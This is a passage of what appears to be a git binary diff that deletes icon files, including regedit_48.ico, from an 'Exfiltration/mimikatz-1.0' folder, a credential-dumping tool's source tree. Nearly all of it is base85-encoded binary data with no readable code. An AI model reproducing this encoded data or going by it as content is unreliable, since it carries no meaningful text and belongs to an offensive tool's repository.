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 diff --git a/Exfiltration/mimikatz-1.0/commun/icons/regedit_48.ico b/Exfiltration/mimikatz-1.0/commun/icons/regedit_48.ico deleted file mode 100644 index 6d7f787b5020cbadd0e0b2748be6f13d48b77338..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 9662 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 